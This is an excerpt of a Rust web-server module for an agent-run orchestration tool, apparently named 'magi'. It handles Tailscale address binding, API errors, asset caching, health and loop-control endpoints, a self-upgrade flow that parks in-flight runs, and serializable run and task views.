1670 _ = &mut handle => break,
1671 _ = beat.tick() => {
1672 if let Some(lease) = lease.as_deref_mut() {
1673 lease.beat();
1674 }
1675 }
1676 }
1677 }
1678 updater::log_step(
1679 home,
1680 &format!(
1681 "finish_loop: the loop ended after {:.1}s",
1682 waited.elapsed().as_secs_f32()
1683 ),
1684 );
1685}
1686
1687pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1693 match bind {
1694 Bind::Addr(addr) => (*addr, None),
1695 Bind::Auto => match tailscale_ip() {
1696 Ok(ip) => (IpAddr::V4(ip), None),
1697 Err(why) => (
1698 IpAddr::V4(Ipv4Addr::LOCALHOST),
1699 Some(format!(
1700 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1701 local-only and a phone cannot reach it; start Tailscale \
1702 or pass --bind <addr>"
1703 )),
1704 ),
1705 },
1706 }
1707}
1708
1709fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1717 let out = std::process::Command::new("tailscale")
1718 .args(["ip", "-4"])
1719 .quiet()
1720 .output()
1721 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1722 if !out.status.success() {
1723 let why = String::from_utf8_lossy(&out.stderr);
1724 let why = why.trim();
1725 return Err(format!(
1726 "`tailscale ip -4` failed ({}){}",
1727 out.status,
1728 if why.is_empty() {
1729 String::new()
1730 } else {
1731 format!(": {why}")
1732 }
1733 ));
1734 }
1735 String::from_utf8_lossy(&out.stdout)
1736 .lines()
1737 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1738 .find(is_tailnet)
1739 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1740}
1741
1742fn is_tailnet(ip: &Ipv4Addr) -> bool {
1744 let o = ip.octets();
1745 o[0] == 100 && (64..=127).contains(&o[1])
1746}
1747
1748type ApiResult<T> = std::result::Result<T, ApiError>;
1752
1753#[derive(Debug)]
1755struct ApiError {
1756 status: StatusCode,
1757 message: String,
1758}
1759
1760impl ApiError {
1761 fn bad_request(message: impl Into<String>) -> Self {
1763 Self {
1764 status: StatusCode::BAD_REQUEST,
1765 message: message.into(),
1766 }
1767 }
1768
1769 fn not_found(message: impl Into<String>) -> Self {
1771 Self {
1772 status: StatusCode::NOT_FOUND,
1773 message: message.into(),
1774 }
1775 }
1776
1777 fn with_status(mut self, status: StatusCode) -> Self {
1780 self.status = status;
1781 self
1782 }
1783
1784 fn bad_request_from(e: anyhow::Error) -> Self {
1788 Self::bad_request(format!("{e:#}"))
1789 }
1790
1791 fn conflict(message: impl Into<String>) -> Self {
1792 Self {
1793 status: StatusCode::CONFLICT,
1794 message: message.into(),
1795 }
1796 }
1797
1798 fn internal(message: impl Into<String>) -> Self {
1800 Self {
1801 status: StatusCode::INTERNAL_SERVER_ERROR,
1802 message: message.into(),
1803 }
1804 }
1805}
1806
1807impl From<anyhow::Error> for ApiError {
1808 fn from(e: anyhow::Error) -> Self {
1813 Self::internal(format!("{e:#}"))
1814 }
1815}
1816
1817impl IntoResponse for ApiError {
1818 fn into_response(self) -> Response {
1819 let body = serde_json::json!({ "error": self.message });
1820 (self.status, Json(body)).into_response()
1821 }
1822}
1823
1824async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1833where
1834 T: Send + 'static,
1835{
1836 #[cfg(test)]
1837 let job = request_cost::carry(job);
1838 match tokio::task::spawn_blocking(job).await {
1839 Ok(result) => result,
1840 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1841 }
1842}
1843
1844const ASSET_CACHE: &str = "no-cache, must-revalidate";
1862
1863fn asset_etag() -> &'static str {
1870 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1871 format!(
1872 "\"{}-{}\"",
1873 env!("CARGO_PKG_VERSION"),
1874 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1879 )
1880 });
1881 &TAG
1882}
1883
1884fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1886 [
1887 (header::CONTENT_TYPE, mime),
1888 (header::CACHE_CONTROL, ASSET_CACHE),
1889 (header::ETAG, asset_etag()),
1890 ]
1891}
1892
1893fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1901 let tag = asset_etag();
1902 let known = headers
1903 .get(header::IF_NONE_MATCH)
1904 .and_then(|v| v.to_str().ok())
1905 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1909 if known {
1910 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1911 }
1912 (asset_headers(mime), body).into_response()
1913}
1914
1915async fn index(headers: header::HeaderMap) -> Response {
1916 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1917}
1918
1919async fn app_css(headers: header::HeaderMap) -> Response {
1920 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1921}
1922
1923async fn app_js(headers: header::HeaderMap) -> Response {
1924 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1925}
1926
1927#[derive(Debug, Serialize)]
1929struct HealthView {
1930 version: &'static str,
1931 home: String,
1932 queue_rev: u64,
1933 runs_rev: u64,
1934 questions_rev: u64,
1946 talks_rev: u64,
1948 notifications_rev: u64,
1950 notifications_unread: usize,
1953 loop_rev: u64,
1958 runs_unreadable: usize,
1966 disk: DiskView,
1974 questions_open: usize,
1980 questions_needs_owner: usize,
1990 daemon: DaemonView,
1991 #[serde(rename = "loop")]
1997 looping: LoopView,
1998 update: UpdateView,
2005 upgrade: Option<UpgradeProgressView>,
2009}
2010
2011#[derive(Debug, Serialize)]
2018struct UpdateView {
2019 available: bool,
2021 to: Option<String>,
2023}
2024
2025#[derive(Debug, Serialize)]
2027struct UpgradeProgressView {
2028 stage: updater::Stage,
2029 from: String,
2030 to: Option<String>,
2031 waiting_on: Option<String>,
2034 started_at: Timestamp,
2035 updated_at: Timestamp,
2036 detail: Option<String>,
2037 stuck_for_secs: Option<i64>,
2040 stuck_kind: Option<updater::StallKind>,
2043 handover_alive: bool,
2046}
2047
2048fn should_spawn_recheck(cfg: &Update) -> bool {
2055 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2056}
2057
2058fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2070 if progress.is_some_and(|p| !p.stage.terminal()) {
2071 return false;
2072 }
2073 checker.should_check()
2074}
2075
2076fn recheck_poll_period(cfg: &Update) -> Duration {
2089 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2090}
2091
2092async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2116 loop {
2117 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2118 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2119 if !should_spawn_recheck(&cfg.update) {
2120 continue;
2121 }
2122 let Some(checker) = updater::Checker::new(&cfg.update) else {
2123 continue;
2124 };
2125 let progress = updater::read_progress(&home);
2126 if !update_recheck_due(&checker, progress.as_ref()) {
2127 continue;
2128 }
2129 if let Err(e) = checker.newer_release().await {
2130 tracing::warn!("background update recheck failed: {e:#}");
2131 }
2132 }
2133}
2134
2135fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2141 let default;
2142 let cfg = match cfg {
2143 Some(cfg) => cfg,
2144 None => {
2145 default = Config::default();
2146 &default
2147 }
2148 };
2149 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2150 match latest {
2151 Some(latest) => UpdateView {
2152 available: true,
2153 to: Some(latest.tag_name),
2154 },
2155 None => UpdateView {
2156 available: false,
2157 to: None,
2158 },
2159 }
2160}
2161
2162fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2168 let now = Timestamp::now();
2169 let lease = updater::read_lease(&ui.home);
2170 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2171 let run_id = alive
2172 .and_then(|l| l.parked_run.as_deref())
2173 .or(progress.parked_run.as_deref());
2174 let parking = progress.stage == updater::Stage::Parking;
2175 let waited = alive.map_or_else(String::new, |l| {
2176 let secs = updater::waited_secs(l, now);
2177 format!(" (waited {} min so far)", secs / 60)
2178 });
2179 let run_text = run_id
2180 .filter(|_| parking)
2181 .map(|id| match read_run(&ui.runs, id).ok() {
2182 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2183 None => format!("run {id} is finishing"),
2184 });
2185 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2186 .filter(|t| parking && !t.is_empty())
2187 .map(|t| format!("{t} finishing"));
2188 let waiting_on = match (run_text, talks_text) {
2189 (None, None) => None,
2190 (run, talks) => {
2191 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2192 Some(format!(
2193 "{} before the address is handed over{waited}",
2194 parts.join(" and ")
2195 ))
2196 }
2197 };
2198 let detail = progress
2199 .detail
2200 .clone()
2201 .or_else(|| updater::read_note(&ui.home, &progress));
2202 let stalled = updater::stall(&progress, lease.as_ref(), now);
2203 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2204 UpgradeProgressView {
2205 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2206 stuck_kind: stalled.map(|s| s.kind),
2207 handover_alive: alive.is_some(),
2208 stage: progress.stage,
2209 from: progress.from,
2210 to: progress.to,
2211 waiting_on,
2212 started_at: progress.started_at,
2213 updated_at: progress.updated_at,
2214 detail,
2215 }
2216}
2217
2218#[derive(Debug, Serialize)]
2223struct DiskView {
2224 #[serde(skip_serializing_if = "Option::is_none")]
2226 free_bytes: Option<u64>,
2227 runs_bytes: u64,
2229 worktrees_bytes: u64,
2231 #[serde(skip_serializing_if = "Option::is_none")]
2233 cache_bytes: Option<u64>,
2234}
2235
2236impl DiskView {
2237 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2239 let cache_bytes = cfg
2240 .and_then(|cfg| cfg.cache_dir())
2241 .map(|dir| crate::disk::dir_size(&dir));
2242 Self {
2243 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2244 runs_bytes: crate::disk::dir_size(&ui.runs),
2245 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2246 cache_bytes,
2247 }
2248 }
2249}
2250
2251#[derive(Debug, Serialize)]
2253struct DaemonView {
2254 running: bool,
2255 idle: Option<bool>,
2256 pid: Option<u32>,
2257 current: Vec<daemon::Current>,
2261 completed: Option<u64>,
2262 stale_for_secs: Option<i64>,
2263}
2264
2265impl DaemonView {
2266 fn of(status: Option<daemon::Reading>) -> Self {
2270 let Some(status) = status else {
2271 return Self {
2272 running: false,
2273 idle: None,
2274 pid: None,
2275 current: Vec::new(),
2276 completed: None,
2277 stale_for_secs: None,
2278 };
2279 };
2280 let now = Timestamp::now();
2281 let age = status.age_secs(now);
2282 Self {
2283 running: status.running(now),
2284 idle: Some(status.idle),
2285 pid: status.pid,
2286 current: status.current,
2287 completed: Some(status.completed),
2288 stale_for_secs: age,
2289 }
2290 }
2291}
2292
2293async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2294 blocking(move || {
2295 let reading = daemon::read_status(&ui.home);
2299 let loop_rev = ui.lock_loop().rev;
2303 let cfg = deputy_config(&ui.repo);
2306 let update = cached_update_view(cfg.as_ref());
2307 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2308 Ok(Json(HealthView {
2309 version: env!("CARGO_PKG_VERSION"),
2310 home: ui.home.display().to_string(),
2311 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2312 runs_rev: runs_revision(&ui.runs),
2313 questions_rev: ui.questions.revision(),
2314 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2315 notifications_rev: ui.notices.revision(),
2316 notifications_unread: ui.notices.count_unread(),
2317 loop_rev,
2318 runs_unreadable: runs_unreadable(&ui.runs),
2319 questions_open: ui.questions.count_open(),
2320 questions_needs_owner: ui.questions.count_needs_owner(),
2321 daemon: DaemonView::of(reading.clone()),
2322 looping: ui.loop_view(reading),
2323 disk: DiskView::of(&ui, cfg.as_ref()),
2324 update,
2325 upgrade,
2326 }))
2327 })
2328 .await
2329}
2330
2331#[derive(Debug, Serialize)]
2333struct LoopView {
2334 running: bool,
2336 stopping: bool,
2344 parking: bool,
2352 owned: bool,
2360 repo: String,
2363 merge: Option<String>,
2366 last_error: Option<String>,
2374 daemon: DaemonView,
2377}
2378
2379#[derive(Debug, Clone, Copy)]
2388struct Foreign {
2389 pid: Option<u32>,
2391}
2392
2393impl Foreign {
2394 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2397 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2401 }
2402
2403 fn who(&self) -> String {
2406 match self.pid {
2407 Some(pid) => format!("another magi process (pid {pid})"),
2408 None => "another magi process".to_owned(),
2409 }
2410 }
2411}
2412
2413type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2418
2419fn launch_daemon(
2421 opts: daemon::Opts,
2422 stop: daemon::Stop,
2423) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2424 Box::pin(daemon::serve_until(opts, stop))
2425}
2426
2427#[derive(Debug, Default)]
2429struct LoopState {
2430 live: Option<Live>,
2432 rev: u64,
2440 last_error: Option<String>,
2443 resume_after_handover: bool,
2448}
2449
2450#[derive(Debug)]
2452struct Live {
2453 stop: daemon::Stop,
2455 handle: tokio::task::JoinHandle<()>,
2460 opts: daemon::Opts,
2464}
2465
2466impl Live {
2467 fn alive(&self) -> bool {
2469 !self.handle.is_finished()
2470 }
2471}
2472
2473fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2480 state.lock().unwrap_or_else(PoisonError::into_inner)
2481}
2482
2483async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2485 blocking(move || {
2486 let reading = daemon::read_status(&ui.home);
2487 Ok(Json(ui.loop_view(reading)))
2488 })
2489 .await
2490}
2491
2492#[derive(Debug, Deserialize)]
2498#[serde(deny_unknown_fields)]
2499struct LoopCommand {
2500 running: bool,
2501 #[serde(default)]
2511 park: bool,
2512}
2513
2514async fn loop_post(
2522 State(ui): State<Arc<Ui>>,
2523 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2524) -> ApiResult<Json<LoopView>> {
2525 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2528 blocking(move || {
2529 let reading = daemon::read_status(&ui.home);
2530 let foreign = Foreign::of(reading.as_ref());
2531 if body.running {
2532 ui.start_loop(foreign)?;
2533 } else {
2534 ui.stop_loop(foreign, body.park)?;
2535 }
2536 Ok(Json(ui.loop_view(reading)))
2537 })
2538 .await
2539}
2540
2541#[derive(Debug, Serialize)]
2543struct UpgradeView {
2544 from: String,
2546 to: Option<String>,
2548 parked: Option<String>,
2550 detail: String,
2552}
2553
2554fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2557 progress.filter(|p| !p.stage.terminal())
2558}
2559
2560async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2584 let reading = daemon::read_status(&ui.home);
2585 if let Some(other) = Foreign::of(reading.as_ref()) {
2586 return Err(ApiError::conflict(format!(
2587 "the loop belongs to {}, so replacing this binary would leave \
2588 that process running an old one against the same queue. Upgrade \
2589 where it was started.",
2590 other.who()
2591 )));
2592 }
2593
2594 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2599 return Err(ApiError::conflict(
2600 "another request is already preparing an upgrade",
2601 ));
2602 };
2603 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2604 return Err(ApiError::conflict(
2605 "an upgrade is already in progress (this process started one and it \
2606 has not finished or failed yet)",
2607 ));
2608 }
2609 let recorded = updater::read_progress(&ui.home);
2610 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2611 return Err(ApiError::conflict(format!(
2612 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2613 stays stuck, restart the deck; on start it settles a stale record.",
2614 p.stage.as_str(),
2615 p.from,
2616 p.to.as_deref().unwrap_or("?"),
2617 )));
2618 }
2619
2620 if crate::updater::disabled_by_env() {
2626 return Ok((
2627 StatusCode::OK,
2628 Json(UpgradeView {
2629 from: env!("CARGO_PKG_VERSION").to_owned(),
2630 to: None,
2631 parked: None,
2632 detail: format!(
2633 "Automatic updates are disabled by {}. Nothing was parked \
2634 and nothing restarted.",
2635 crate::updater::NO_AUTOUPDATE_ENV
2636 ),
2637 }),
2638 ));
2639 }
2640
2641 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2646 let from = env!("CARGO_PKG_VERSION").to_owned();
2647 let latest = match crate::updater::Checker::new(&cfg.update) {
2648 Some(checker) => checker
2649 .newer_release()
2650 .await
2651 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2652 None => None,
2653 };
2654 let Some(latest) = latest else {
2655 return Ok((
2656 StatusCode::OK,
2657 Json(UpgradeView {
2658 from,
2659 to: None,
2660 parked: None,
2661 detail: "Already on the newest release. Nothing was parked \
2662 and nothing restarted."
2663 .to_owned(),
2664 }),
2665 ));
2666 };
2667
2668 let parked = ui.park_for_upgrade()?;
2671 let detail = match &parked {
2672 Some(run) => format!(
2677 "Run {} is parking at its next step, which can take as long as \
2678 the step it is on - up to an hour for an implement wave. The \
2679 deck replaces itself once it parks, comes back, and the loop \
2680 carries that run on from where it stopped. Nothing is lost if \
2681 you close this.",
2682 crate::run::short_of(run)
2683 ),
2684 None => "The deck replaces itself and comes back. Nothing was in \
2685 flight to park."
2686 .to_owned(),
2687 };
2688
2689 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2693 progress.parked_run = parked.clone();
2694 updater::write_progress_logged(&ui.home, &progress);
2698
2699 let home = ui.home.clone();
2700 let looping = ui.looping();
2701 ui.upgrade_spawned
2702 .store(true, std::sync::atomic::Ordering::SeqCst);
2703 let spawned = Arc::clone(&ui.upgrade_spawned);
2704 tokio::spawn(async move {
2705 if let Err(e) = upgrade_and_restart(home.clone()).await {
2706 tracing::error!("the upgrade did not complete: {e:#}");
2707 lock_or_recover(&looping).resume_after_handover = false;
2708 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2712 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2715 }
2716 });
2717
2718 Ok((
2719 StatusCode::ACCEPTED,
2720 Json(UpgradeView {
2721 from,
2722 to: Some(latest.tag_name),
2723 parked,
2724 detail,
2725 }),
2726 ))
2727}
2728
2729async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2734 crate::updater::run_self_update(true, false, true).await?;
2737 updater::log_step(&home, "binary replaced - recording the replaced stage");
2738 if let Some(mut progress) = updater::read_progress(&home) {
2739 progress.advance(updater::Stage::Replaced);
2740 updater::write_progress_logged(&home, &progress);
2741 }
2742 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2743 HANDOVER.notify_one();
2744 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2745 Ok(())
2746}
2747
2748#[derive(Debug, Serialize)]
2754struct RunSummary {
2755 id: String,
2756 short: String,
2757 status: String,
2758 done: bool,
2759 instruction: String,
2760 title: String,
2761 repo: String,
2762 repo_name: String,
2763 created_at: String,
2764 updated_at: String,
2765 candidates: usize,
2766 viable: usize,
2767 judges: usize,
2768 winner: Option<char>,
2769 reviews: usize,
2770 quota_losses: usize,
2771 event: Option<String>,
2772 superseded_by: Option<String>,
2777 waiting: bool,
2784 live: crate::run::Liveness,
2788 pr: Option<crate::run::PrRecord>,
2790 unmerged_by_design: bool,
2796 #[serde(default)]
2799 display_status: String,
2800 origin_label: String,
2803}
2804
2805impl RunSummary {
2806 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2807 Self {
2808 id: state.id.clone(),
2809 short: state.short().to_owned(),
2810 status: status_word(state.status),
2811 done: state.status.done(),
2812 unmerged_by_design: state.unmerged_by_design(),
2813 display_status: run_display_status(state, waiting, live),
2814 instruction: state.instruction.clone(),
2815 title: title_from(&state.instruction, TITLE_MAX),
2816 repo: state.repo.display().to_string(),
2817 repo_name: state
2818 .repo
2819 .file_name()
2820 .map(|n| n.to_string_lossy().into_owned())
2821 .unwrap_or_default(),
2822 created_at: state.created_at.to_string(),
2823 updated_at: state.updated_at.to_string(),
2824 candidates: state.candidates.len(),
2825 viable: state.viable().len(),
2826 judges: state.config.graph.judges,
2827 winner: state.winner().map(|c| c.label),
2828 reviews: state.reviews.len(),
2829 quota_losses: state.quota.len(),
2830 event: state.events.last().map(|e| e.message.clone()),
2831 waiting,
2832 live,
2833 superseded_by: None,
2836 pr: state.pr.clone(),
2837 origin_label: crate::run::origin_label(state.origin.as_ref()),
2838 }
2839 }
2840}
2841
2842fn status_word(status: RunStatus) -> String {
2845 status.as_str().to_owned()
2849}
2850
2851fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2857 if waiting {
2858 return "waiting".to_owned();
2859 }
2860 if state.unmerged_by_design() {
2861 return "unmerged".to_owned();
2862 }
2863 if !state.status.done() && live == crate::run::Liveness::Dead {
2864 if state.parked {
2867 return "parked".to_owned();
2868 }
2869 return "stale".to_owned();
2870 }
2871 status_word(state.status)
2872}
2873
2874#[derive(Debug, Deserialize)]
2876struct ListQuery {
2877 #[serde(default)]
2878 limit: Option<usize>,
2879 ids: Option<String>,
2881}
2882
2883impl ListQuery {
2884 fn contains(&self, id: &str) -> bool {
2885 self.ids
2886 .as_ref()
2887 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2888 }
2889}
2890
2891async fn runs_list(
2892 State(ui): State<Arc<Ui>>,
2893 Query(q): Query<ListQuery>,
2894) -> ApiResult<Json<Vec<RunSummary>>> {
2895 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2896 blocking(move || {
2897 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2898 let states = run_ids(&ui.runs)
2899 .into_iter()
2900 .filter_map(|id| read_run(&ui.runs, &id).ok())
2905 .take(limit)
2906 .filter(|run| q.contains(&run.id));
2907 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2908 let summaries = summarize(
2909 states,
2910 &open_runs,
2911 &claimed,
2912 &superseded,
2913 |p| probe.borrow_mut().status(p),
2914 |p| probe.borrow_mut().started_at(p),
2915 );
2916 Ok(Json(summaries))
2917 })
2918 .await
2919}
2920
2921fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2926 let open_runs: HashSet<String> = ui
2927 .questions
2928 .list()
2929 .into_iter()
2930 .filter(|q| q.status.open())
2931 .map(|q| q.run)
2932 .collect();
2933 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2934 .into_iter()
2935 .map(|c| c.run)
2936 .collect();
2937 (open_runs, claimed, ui.queue.superseded())
2938}
2939
2940fn summarize<I, S, D>(
2946 states: I,
2947 open_runs: &HashSet<String>,
2948 claimed: &HashSet<String>,
2949 superseded: &HashMap<String, String>,
2950 mut status_q: S,
2951 mut identity_q: D,
2952) -> Vec<RunSummary>
2953where
2954 I: IntoIterator<Item = RunState>,
2955 S: FnMut(u32) -> Option<bool>,
2956 D: FnMut(u32) -> Option<String>,
2957{
2958 states
2959 .into_iter()
2960 .map(|state| {
2961 let waiting = open_runs.contains(&state.id);
2962 let live =
2963 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2964 let mut row = RunSummary::of(&state, waiting, live);
2965 row.superseded_by = state
2966 .pr_taken_over_by
2967 .as_ref()
2968 .or_else(|| superseded.get(&state.id))
2969 .map(String::as_str)
2970 .map(crate::run::short_of)
2971 .map(str::to_owned);
2972 row
2973 })
2974 .collect()
2975}
2976
2977#[derive(Debug, Serialize)]
2984struct RunDetailView {
2985 stop_reason: Option<String>,
2986 #[serde(flatten)]
2987 state: RunState,
2988 instruction_md: Vec<md::Node>,
2989 #[serde(flatten)]
2993 prose_md: RunProseMd,
2994 live: crate::run::Liveness,
3009 unmerged_by_design: bool,
3014 #[serde(default)]
3016 waiting: bool,
3017 #[serde(default)]
3019 display_status: String,
3020 done: bool,
3025 superseded_by: Option<String>,
3033 latest_attempt: Option<LatestAttempt>,
3047 task: Option<TaskRef>,
3050 origin_label: String,
3054}
3055
3056#[derive(Debug, Serialize)]
3058struct TaskRef {
3059 id: String,
3060 short: String,
3061 title: String,
3062 source_label: String,
3064 source_link: Option<SourceLink>,
3066 status: &'static str,
3068 attempts: usize,
3069 max_attempts: usize,
3070 is_latest: bool,
3072 latest: Option<RunBrief>,
3074 finished_by: Option<RunBrief>,
3076 closed_by_hand: bool,
3078}
3079
3080#[derive(Debug, PartialEq, Eq, Serialize)]
3082struct SourceLink {
3083 kind: &'static str,
3085 id: String,
3087 href: String,
3089}
3090
3091fn encode_segment(raw: &str) -> String {
3093 let mut out = String::with_capacity(raw.len());
3094 for b in raw.bytes() {
3095 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3096 out.push(b as char);
3097 } else {
3098 out.push_str(&format!("%{b:02X}"));
3099 }
3100 }
3101 out
3102}
3103
3104fn source_link(source: &Source) -> Option<SourceLink> {
3108 let Source::Agent { run, node } = source else {
3109 return None;
3110 };
3111 let (kind, route) = if node == crate::queue::CHAT_NODE {
3112 ("chat", "chat")
3113 } else {
3114 ("run", "runs")
3115 };
3116 Some(SourceLink {
3117 kind,
3118 id: run.clone(),
3119 href: format!("#/{route}/{}", encode_segment(run)),
3120 })
3121}
3122
3123#[derive(Debug, Serialize, PartialEq)]
3125struct FollowUpParent {
3126 id: String,
3127 short: String,
3128 title: String,
3129 status: &'static str,
3131 href: String,
3132}
3133
3134#[derive(Debug, Serialize, PartialEq)]
3136struct FollowUpRun {
3137 id: String,
3138 short: String,
3139 status: Option<&'static str>,
3141 href: Option<String>,
3143}
3144
3145#[derive(Debug, Serialize, PartialEq)]
3148struct FollowUpOrigin {
3149 parent: Option<FollowUpParent>,
3151 run: FollowUpRun,
3152 pr: String,
3157 findings: Vec<String>,
3158 generation: u32,
3159}
3160
3161fn followup_origin(
3164 fu: &crate::queue::FollowUp,
3165 task: impl Fn(&str) -> Option<Task>,
3166 run: impl Fn(&str) -> Option<RunState>,
3167) -> FollowUpOrigin {
3168 let parent = fu
3169 .origin_task
3170 .as_deref()
3171 .and_then(task)
3172 .map(|t| FollowUpParent {
3173 short: t.short().to_owned(),
3174 href: format!("#/tasks/{}", encode_segment(&t.id)),
3175 status: t.status.as_str(),
3176 title: t.title,
3177 id: t.id,
3178 });
3179 let state = run(&fu.run);
3180 FollowUpOrigin {
3181 parent,
3182 run: FollowUpRun {
3183 short: run::short_of(&fu.run).to_owned(),
3184 status: state.as_ref().map(|s| s.status.as_str()),
3185 href: state
3186 .is_some()
3187 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3188 id: fu.run.clone(),
3189 },
3190 pr: fu.pr.clone(),
3191 findings: fu.findings.clone(),
3192 generation: fu.generation,
3193 }
3194}
3195
3196#[derive(Debug, Serialize)]
3198struct RunBrief {
3199 id: String,
3200 short: String,
3201 status: Option<&'static str>,
3203 outcome: String,
3205}
3206
3207fn task_outcome(
3210 task: &Task,
3211 this_run: &str,
3212 max_attempts: usize,
3213 read: impl Fn(&str) -> Option<RunState>,
3214) -> TaskRef {
3215 let history = task_history(task, read);
3216 let brief = |h: &TaskRunView| RunBrief {
3217 id: h.id.clone(),
3218 short: h.short.clone(),
3219 status: h.status,
3220 outcome: h.exit.edge_label(h.status),
3221 };
3222 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3223 let latest = if is_latest {
3224 None
3225 } else {
3226 history.last().map(brief)
3227 };
3228 let done = task.status == TaskStatus::Done;
3229 let finished_by = done
3230 .then(|| {
3231 history
3232 .iter()
3233 .rev()
3234 .find(|h| {
3235 matches!(
3236 h.exit,
3237 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3238 )
3239 })
3240 .map(brief)
3241 })
3242 .flatten();
3243 TaskRef {
3244 short: task.short().to_owned(),
3245 title: task.title.clone(),
3246 id: task.id.clone(),
3247 source_label: task.source.label(),
3248 source_link: source_link(&task.source),
3249 status: task.status.as_str(),
3250 attempts: task.attempts,
3251 max_attempts,
3252 is_latest,
3253 latest,
3254 closed_by_hand: done && finished_by.is_none(),
3255 finished_by,
3256 }
3257}
3258
3259#[derive(Debug, Serialize)]
3261struct LatestAttempt {
3262 id: String,
3263 short: String,
3264 resolved: bool,
3275 status: RunStatus,
3278 done: bool,
3280}
3281
3282#[derive(Debug, Default, Serialize)]
3284struct RunProseMd {
3285 advice_md: Option<AdviceMd>,
3287 candidate_summaries_md: Vec<Vec<md::Node>>,
3289 reviews_md: Vec<RoundMd>,
3291}
3292
3293#[derive(Debug, Default, Serialize)]
3294struct AdviceMd {
3295 synthesis: Vec<md::Node>,
3296 approaches: Vec<Vec<md::Node>>,
3298}
3299
3300#[derive(Debug, Default, Serialize)]
3301struct RoundMd {
3302 reviewers: Vec<ReviewerMd>,
3304 reconsideration: Vec<Vec<md::Node>>,
3306 fix: Option<FixMd>,
3307}
3308
3309#[derive(Debug, Default, Serialize)]
3310struct ReviewerMd {
3311 summary: Vec<md::Node>,
3312 findings: Vec<Vec<md::Node>>,
3314}
3315
3316#[derive(Debug, Default, Serialize)]
3317struct FixMd {
3318 notes: Vec<md::Node>,
3319 rejected: Vec<Vec<md::Node>>,
3321}
3322
